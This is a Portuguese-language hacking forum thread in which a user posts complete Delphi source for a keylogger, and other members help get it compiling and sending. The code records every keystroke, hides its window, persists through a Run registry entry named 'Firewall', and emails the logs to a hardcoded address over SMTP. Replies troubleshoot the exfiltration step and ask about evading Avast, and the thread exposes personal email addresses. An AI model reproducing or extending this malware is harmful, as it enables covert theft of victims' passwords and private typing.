FORUM DARKERS

Aew pessoal sei que vcs amam isso hehe um keylogger que eu montei que pode servir pra vcs ta ai o code : [Fui eu Xtreme mesmo que montei ]


procedure TForm1.Timer1Timer(Sender: TObject);
var
i : byte;
begin

for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
48 : if GetKeyState(VK_CAPITAL)<0 then Memo1.text:=Memo1.text+')'
else Memo1.text:=Memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'!'
else Memo1.text:=Memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'@'
else Memo1.text:=Memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'#'
else Memo1.text:=Memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'$'
else Memo1.text:=Memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'%'
else Memo1.text:=Memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'¨'
else Memo1.text:=Memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'&'
else Memo1.text:=Memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'*'
else Memo1.text:=Memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'('
else Memo1.text:=Memo1.text+'9';
13 : Memo1.Text := Memo1.Text +#13#10;
32 : Memo1.Text := Memo1.Text +' ';
65 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'A'
else Memo1.text:=Memo1.text+'a';
66 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'B'
else Memo1.text:=Memo1.text+'b';
67 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'C'
else Memo1.text:=Memo1.text+'c';
68 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'D'
else Memo1.text:=Memo1.text+'d';
69 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'E'
else Memo1.text:=Memo1.text+'e';
70 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'F'
else Memo1.text:=Memo1.text+'f';
71 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'G'
else Memo1.text:=Memo1.text+'g';
72 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'H'
else Memo1.text:=Memo1.text+'h';
73 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'I'
else Memo1.text:=Memo1.text+'i';
74 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'J'
else Memo1.text:=Memo1.text+'j';
75 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'K'
else Memo1.text:=Memo1.text+'k';
76 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'L'
else Memo1.text:=Memo1.text+'l';
77 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'M'
else Memo1.text:=Memo1.text+'m';
78 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'N'
else Memo1.text:=Memo1.text+'n';
79 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'O'
else Memo1.text:=Memo1.text+'o';
80 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'P'
else Memo1.text:=Memo1.text+'p';
81 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'Q'
else Memo1.text:=Memo1.text+'q';
82 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'R'
else Memo1.text:=Memo1.text+'r';
83 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'S'
else Memo1.text:=Memo1.text+'s';
84 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'T'
else Memo1.text:=Memo1.text+'t';
85 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'U'
else Memo1.text:=Memo1.text+'u';
86 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'V'
else Memo1.text:=Memo1.text+'v';
87 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'W'
else Memo1.text:=Memo1.text+'w';
88 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'X'
else Memo1.text:=Memo1.text+'x';
89 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'Y'
else Memo1.text:=Memo1.text+'y';
90 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'Z'
else Memo1.text:=Memo1.text+'z';
91 : Memo1.Text := Memo1.Text +'WINDOWS ESQUERDO';
92 : Memo1.Text := Memo1.Text +'WINDOWS DIREITO';
93 : Memo1.Text := Memo1.Text +'MENU DE CONTEXTO';
95 : Memo1.Text := Memo1.Text +'SLEEP';
96 : Memo1.Text := Memo1.Text +'0';
97 : Memo1.Text := Memo1.Text +'1';
98 : Memo1.Text := Memo1.Text +'2';
99 : Memo1.Text := Memo1.Text +'3';
100 : Memo1.Text := Memo1.Text +'4';
101 : Memo1.Text := Memo1.Text +'5';
102 : Memo1.Text := Memo1.Text +'6';
103 : Memo1.Text := Memo1.Text +'7';
104 : Memo1.Text := Memo1.Text +'8';
105 : Memo1.Text := Memo1.Text +'9';
106 : Memo1.Text := Memo1.Text +'*';
107 : Memo1.Text := Memo1.Text +'&';
109 : Memo1.Text := Memo1.Text +'-';
110 : Memo1.Text := Memo1.Text +'.';
111 : Memo1.Text := Memo1.Text +'°';
112 : Memo1.Text := Memo1.Text +'F1';
113 : Memo1.Text := Memo1.Text +'F2';
114 : Memo1.Text := Memo1.Text +'F3';
115 : Memo1.Text := Memo1.Text +'F4';
116 : Memo1.Text := Memo1.Text +'F5';
117 : Memo1.Text := Memo1.Text +'F6';
118 : Memo1.Text := Memo1.Text +'F7';
119 : Memo1.Text := Memo1.Text +'F8';
120 : Memo1.Text := Memo1.Text +'F9';
121 : Memo1.Text := Memo1.Text +'F10';
122 : Memo1.Text := Memo1.Text +'F11';
123 : Memo1.Text := Memo1.Text +'F12';
186 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'Ç'
else Memo1.text:=Memo1.text+'ç';
187 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'+'
else Memo1.text:=Memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'<'
else Memo1.text:=Memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'_'
else Memo1.text:=Memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'>'
else Memo1.text:=Memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+':'
else Memo1.text:=Memo1.text+';';
192 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'"'
else Memo1.text:=Memo1.text+'''';
220 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'}'
else Memo1.text:=Memo1.text+']';
221 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'{'
else Memo1.text:=Memo1.text+'[';
end;
end;
end;
end;
// Explicando o código acima: O código acima é o keylogger que dispara a cada 1 milisigundo...
// Qualquer tecla que a vitíma pressionar aparecerá, somente teclas especiais, acentos, ..., teclas não
// utilizadas e que não tem valor...!

procedure TForm1.FormCreate(Sender: TObject);
var
Str : String;
begin
// Cria uma entrada no registro para poder inicializar com o sistema...
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.Openkey('Software\Microsoft\Windows\CurrentVer sion\Run', False);
Reg.WriteString('Firewall', Application.ExeName);
Reg.CloseKey;
// Deixa o Keylogger Invisível...
Application.ShowMainForm := False;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
begin
IdSMTP1.Host:= 'smtp.bol.com.br';
IdSMTP1.Port:= 25;
IdSMTP1.Username:= 'xtreme.sk8@bol.com.br (mailto:'xtreme.sk8@bol.com.br)';
IdMessage1.From.Name:= '!! Xtreme Keylogger 1.0 !!';
IdMessage1.Recipients.EMailAddresses:= 'sevennight.1@gmail.com';
IdMessage1.Priority := mpNormal;
IdMessage1.Subject := 'Log';
IdMessage1.ContentType:='text/html';
IdMessage1.Body := Memo2.Lines;
TIdAttachment.Create(IdMessage1.MessageParts,'C:\W INDOWS\Registration\Keylogger-Log.txt');
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
Timer3.Enabled := False;
end;
end;
// Explicando o código acima: O hacker vai receber o log anexado com uma mensagem ...
// Depois o Timer3 é desativado para não ficar lotando sua caixa de e-mails...

procedure TForm1.Timer2Timer(Sender: TObject);
begin
Memo1.Lines.SaveToFile('C:\WINDOWS\Registration\Ke ylogger-Log.txt');
Timer3.Enabled := True;
end;
// Salva o log do keylogger e ativa o Timer3 para enviar o log novo...

end.

legalzin a logica xtreme, já é um comeco, tenta agora pegar textos de outras janelas usando handles, flws!!!

Ae Xtreme Vlw ae queria sabe como que era essa lógica vlw

aqui deu erro na hora de enviar =(

É algo bem básico, Eclipse aqui não deu erro brother tipo falta implementar ainda... pra deixar funcionando legal você tem que por alguma função do tipo ver se o pc ta conectado na net dai dps enviar e talz... [esqueci de implementar ^^]....... Flwz qualquer dúvida... tamo ae

mais eu testei no meu pc, e eu to conectado... da erro no idSMTP.Send

o loko aqui funcionou se vc quiser eu te passo o código pronto já no delphi !

Quote from: "Hacker Xtreme"o loko aqui funcionou se vc quiser eu te passo o código pronto já no delphi !

pode ser...

rodrigo.rodweb2005@gmail.com .....

Cara posta ai se possível!
Tbm quero ver esse source!
Pois aqui os dados não estão dando entrada no memo.

Vlw

Olá ! Irei upar em algum site mais posteriormente no momento não tenho como por estar sem Internet... Estarei postando o source o mais breve possível...

by Xtreme
Perfil Moderado por Dark Invasion - Irmão do Xtreme he he he

crianças , ao usar o bol , primeiro vc tem q se autenticar no servidor POP3 e depois usar o SMTP

ok ?

AhuAHHuAhhu eu coloquei o bol de ex, mais eu usei ibest e gmail AhuAHu ta valendo isso é só pra aprendizado !

esse keylogger passa pelo avast?

Não sei se é  triste, ou bonito de ver como keylogger para o fórum é como carne pra piranha...
Conteúdos melhores deveriam gerar tanta euforia quanto isso.


Até mais....

daqui uns tempos keyloggers viraram brincadeira de criança e ninguem mais vai mecher com isso =p todos iram ver um source como uma coisa lammer...

parabens ae Xtreme =p mas agora será quem copio de quem ? microsoft o delphi ou borland o vb ?
praticamente a mesma coisa

"keylogger para o fórum é como carne pra piranha..."
hehehe!
Sei que isso não é de rir mas, é engraçado!
l u b c k e eu acho que é triste mesmo!
Num sei que isso mas pra mim que estou em processo de aprendizagem pode ser de um bom valor isso.
Não sou e nem pretenderei sair por ai distribuindo trojans, keyloggers, vírus e afins mas me interessa saber como eles são feitos e funcionam!

Mas é isso ai!
Vivendo e aprendendo...
Errando e se ...!
hehe
Abraços

A questão de aprendizado é um ato louvável, mas entre em 10 fóruns "hackers"... os tópicos mais visitados e comentados serão sobre keylogger e anonimato.

Tirem suas próprias conclusões...

Até mais...

Concordo com o l u b c k e e com o branco,na minha opnião, KL é uma perda de tempo para tentar se usar contra uma pessoa, como eu próprio falei neste tópico a melhor coisa nisso é, pra mim, o código que havia coisas que eu não sabia ali.o KL é uma perda de tempo pois qualquer antívirus que se preze tem alto cuidado com keyloggers e como todos eles tem uma base de código parecido, pros AV's fikando bem mais "fácil" de axar algum código malicioso.

kra eu ja fiz tanta coisa q eu podia usar contra as pessoas, e nao faco isso fazia, nem ligava se eu formatasse hd, tipo eu gosto de ver como funciona mais usar pra fins maldosos nunca usei, eu gosto da funcoes e tal mais prejudicar as pessoas nao sou desse tipo, nunca me interessei em fazer essas coisa, e outra Seing nem gosto nem nunca me interessei eh coisa d lammer, coisa d vagabundo, flws!!1

mudando um pouco de assunto, alguem viu o pastor da banda comparando os programadores do mal com traficantes e assassinos ? e ainda disse que na internet as empresas fazem como se fosse a policia contratando assassinos, pessoas com demonios etc só porque contratam os hackers =p

minha net que volto agora...alguem sabe o orkut ou email dele ? velho...

eu acredito q todo tipo de ferrementa e valida , o q ocorre e q a medida q o tempo passa e vc cresce , muda a sua forma de trabalhar com elas .....

Primeiramente gostaria de dar os meus parabens para o Hacker Xtreme por ter codado o seu proprio KL.
 Pra quem está estudando Delphi acho uma grande vitoria conseguir codar o seu proprio KL, claro que falta algumas funções, mas com o tempo o Hacker Xtreme vai implementando as funções no KL...

 Agora gostaria apenas de informar aos membros [Eclipse]  &  shake
que informaram que estava dando erro na hora de compilar.
 Não sei qual é o nivel de vcs com o delphi(sou iniciante no delphi tbm) entao vou tentar ser bem claro.

 Ante de copiar e colar o codigo no delphi nos temos que entender se ele usa algum tipo de componente e se usar devemos incluir no aplicativo.

 De cara nos podemos perceber que ele usa os seguintes componetes :

 3 Timmer's
 2 memo's
 1 IdMessage
 1 IdSMTP

 Não edite os nomes do componente pq se não vai gerar um erro no aplicativo e vc não vai conseguir compilar.

 Recomendo que vc adicione um codigo por vez na mesma sequencia que o codigo exigi.


 Boa sorte.

Quote from: "abobre"Primeiramente gostaria de dar os meus parabens para o Hacker Xtreme por ter codado o seu proprio KL.
 Pra quem está estudando Delphi acho uma grande vitoria conseguir codar o seu proprio KL, claro que falta algumas funções, mas com o tempo o Hacker Xtreme vai implementando as funções no KL...

 Agora gostaria apenas de informar aos membros [Eclipse]  &  shake
que informaram que estava dando erro na hora de compilar.
 Não sei qual é o nivel de vcs com o delphi(sou iniciante no delphi tbm) entao vou tentar ser bem claro.

 Ante de copiar e colar o codigo no delphi nos temos que entender se ele usa algum tipo de componente e se usar devemos incluir no aplicativo.

 De cara nos podemos perceber que ele usa os seguintes componetes :

 3 Timmer's
 2 memo's
 1 IdMessage
 1 IdSMTP

 Não edite os nomes do componente pq se não vai gerar um erro no aplicativo e vc não vai conseguir compilar.

 Recomendo que vc adicione um codigo por vez na mesma sequencia que o codigo exigi.


 Boa sorte.

Eu coloquei um código de cada vez, troquei o nome dos componentes e tal...mais acho que foi aquilo que o OnlyOne disse, tem que autenticar pelo pop3 primeiro, e eu tinha usado só o bol pra testar...
Depois mudei pra terra, gmail e tbm deu erro, deve ser o mesmo problema, vou ver outro email pra testar...

Flws...

TGA

Se vc testou o terra, esse naum é o problema, o terra naum presisa autenticar no POP 

Não sei o que é então, com os 3 que eu tentei da erro no mesmo lugar com menssagem diferente...

Comigo nao deu o erro, fiz da mesma forma que eu postei....

Usei o email do gmail, sem erros..

 Abraços

olha, eu só troquei a porta, o smtp, o login e senha e continua dando erro, até mesmo no gmail...

http://img235.imageshack.us/img235/1781/imagemut6.jpg (http://img235.imageshack.us/img235/1781/imagemut6.jpg)

Só pra saber, vc foi no evento OnCreate do forum1 e colocou o seguinte code:

Quoteprocedure TForm1.FormCreate(Sender: TObject);
var
Str : String;
begin
// Cria uma entrada no registro para poder inicializar com o sistema...
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.Openkey('Software\Microsoft\Windows\CurrentVer sion\Run', False);
Reg.WriteString('Firewall', Application.ExeName);
Reg.CloseKey;
// Deixa o Keylogger Invisível...
Application.ShowMainForm := False;
end;

 Até +

não....

[Eclipse]

Faça isso então e tente compilar o code.

 Abraços

continua dando erro....

deixa isso queto, eu só queria saber porque tava dando erro

vlws...

para todos -> Povo, desculpa ae a resposta mas tb bem... tipo se vc coda algo vc aprendeu a codar tal, não importa o que vc codou ou deixou de codar, o importante é que vc aprendeu a fazer... dps que vc aprende a fazer tal, vc não erra mais! no inicio vc vai ter um milhão de erros mais quanto mais vc coda mais vc aprende e mais os erros diminuem... resumindo não importa o que vc codar, publicar e o tipo que usar, [seja para o bem quanto para o mal] somente importa que vc aprendeu algo novo, e se isso se repetir mais e mais veses vc será mto bom tal área...

Eclipse- > cara o kl não deu erros... é importante que vc não mude a porta, tipo vc usa discada? qual o smtp da disca? ex: smtp.ibest.com.br se vc usa ibest ele vai usar a ibest para enviar o e-mail ;) o smtp tem q ser igual a sua conexão o da ibest só foi um exemplo... tipo ele vai enviar mais tem o problema lá q quando liga ele não envia se o pc não tiver na net logo que  for inicializado... faça do jeito que te mandei e será feliz !

abobre -> vlw cara, isso como vários dizem é um incentivo ^^

tiaguito -> keylogger não é perda de tempo quando sabe utilizar ele!

anak!n -> se os caras q montassem tools ficassem usando elas para o mal a internet ia ser mto"menos" segura do que hj, o certo é não usar as nossas ferramentas para o mal somente quando necessitarmos...

shake -> concordo com o finalzinho :

Mas é isso ai!
Vivendo e aprendendo...
Errando e se ...!

l u b c k e -> talves pq as pessoas adoram roubar senhas e não sabem como roubar dai elas partem para o kl... ta valendo...

flw!

MEU MSN : junior_antonio5@hotmail.com

Olá pessoal, desculpe  o palavriado! mas ta certo.. Explicando um pouco sobre o tópico!

1° = O CÓDIGO NÃO FOI RIPADO! FOI ESCRITO POR MIM MESMO MINHAS MÃOS E MEU TECLADO FIZERAM ELE!!!

2° = SE EU RIPASSE ALGO EU COLOCAVA LÁ EM BAIXO O AUTOR!

3° = EU VI "EXEMPLOS" NA INTERNET E ANOTEI NO "BLOCO DE NOTAS" ALGUMAS COISAS!, VI QUE O CÓDIGO ESTAVA ERRADO, FUI NO GOOGLE E PESQUISEI POR TECLAS VIRTUAIS! E ACHEI O CÓDIGOS DAS TECLAS EX: A TECLA ENTER É O NÚMERO 13. EXISTEM VÁRIOS CÓDIGOS IGUAIS A ESTE, MAIS ESTE FUI EU QUE FIZ! EU FIQUEI UMA SEMANA LENDO SOBRE TAL ATÉ APRENDER COMO FUNCIONA.

4° = NUNCA QUESTIONEI TÓPICO DE NINGUÉM, NUNCA FALO MAL DE NINGUÉM, SEMPRE FALO BEM DAS PESSOAS DAKI PQ AXO QUE AKI É UM FÓRUM UNIDO EM TODOS OS SENTIDOS.

5° = POSSO ESTAR SENDO INFANTIL QUANTO AS RESPOSTAS DADAS ACIMA, MAS PELO MENOS FALEI O QUE SENTI...

6° = MEU FILME JÁ TA QUEIMADO MSM, SEMPRE FOI ENTÃO... FLW!
VOU PEDIR PRA ALGUÉM DELETAR MINHA CONTA E BLZ PRINCIPALMENTE MEUS TÓPICOS.

BY XTREME

Tópico Bloqueado.

Outra, Hacker Xtreme, NUNCA mais escreva uma mensagem com as letras maiúsculas...